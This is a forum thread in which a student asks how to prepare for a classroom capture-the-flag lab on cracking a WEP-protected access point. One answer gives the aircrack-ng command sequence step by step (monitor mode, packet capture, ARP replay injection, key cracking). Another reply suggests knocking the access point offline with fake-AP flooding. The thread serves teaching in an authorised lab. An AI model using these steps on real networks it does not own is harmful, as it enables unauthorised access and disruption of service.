Before I ask for some advice, please don't assume I'm a script kiddie or such. This is for one of my wireless security class (CSS 1015).

Wireless security - CSS-1015-0

It's a Saturday class and only 6 students are in the class since it starts at 8:30 AM until 10 AM. Next week we are doing a lab where we bring in switches and routers and set up AP in the classroom (we are naming it CSS1015_1 and so on). The professor said one team will be the attack team and the other is the defense team. The defense team will have a small .txt file behind their AP and the attack team has to crack WEP and find that file (he calls it capture the flag).

I want to be ahead of the game when it comes to class next week. What are some tips/tricks that I should be doing with my attack team? Since it's our first time the WEP will be only 6 characters long.

  • Thanks for the suggestions :) I appreciate it. I was talking to my professor after class and he said feel free to DDoS it after you acquire the text file. But wouldn't that require to use a botnet and we are doing this on a university network? – user8379 Mar 12 '12 at 23:40

There are a number of resources online, but I think you might find that the tutorials about Backtrack might be the most useful. You can run Backtrack on a live cd or as a VM on your laptop. The added benefit to Backtrack is that it will also have the tools to break into whatever host has the flag you are looking for.

Most tutorials will show you how to use aircrack-ng, so getting to know that tool will get you a long way.

Good luck on the exercise!

  • 1
    At the age of about 13 I was able to crack WEP in about 8 minutes using an Asus EEEPC 900. I wrote a blog post on the exact steps using BT2, which has been mirrored (my blog since went down, can't remember why). Er, the guy who mirrored it actually used it as a source for a translation. Whack this through Google translate. hdlsec.com/foro/seguridad/hack-wifi-desde-asus-eee – deed02392 Mar 12 '12 at 15:10

Get backtrack 5 on your PC, if you don't like to read, there is a nice youtube video here

After firing up backtrack, open a terminal:

  • put your wifi card in monitoring mode: airmon-ng start wlan0
  • Now start listening for AP's with your monitoring device
  • airodump-ng mon0 (Now look for the channel and the BSSID )
  • airodump-ng -c 1 -b BSSID -w FILENAME mon0
  • Open a new terminal window
  • aireplay-ng -1 0 -a BSSID mon0
  • aireplay-ng -3 -b BSSID mon0

Now relax and grab yourself a coke, it will start running, I think the best is to wait for about 100.000 packages. Then stop it and run:

aircrack-ng FILENAME.cap

After a few seconds/minutes the password should appear.


  • BSSID is a mac address
  • It might be your WLAN number is different, therefor use the command ifconfig and found out what your wifi card is.

@davidS - I am unable to reply yet, but yes a DDoS generally uses a botnet (network of distributed PCs). What your professor probably meant is that you can feel free to DoS the AP.

It wouldn't make since if you're working in a team, but if each attacker is working separately it could be fun. You should be able to get the WEP key extremely quickly if you're prepared. Then there's plenty of ways to DoS an AP.

I think the most fun way (that wouldn't affect other wireless communications) would be to pop up tons of fake APs with similar SSIDs. (http://rfakeap.tuxfamily.org/)

Here is a list of possible DoS techniques: http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/WirelessHacks/Mateti-WirelessHacks.htm#_Toc77524671

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.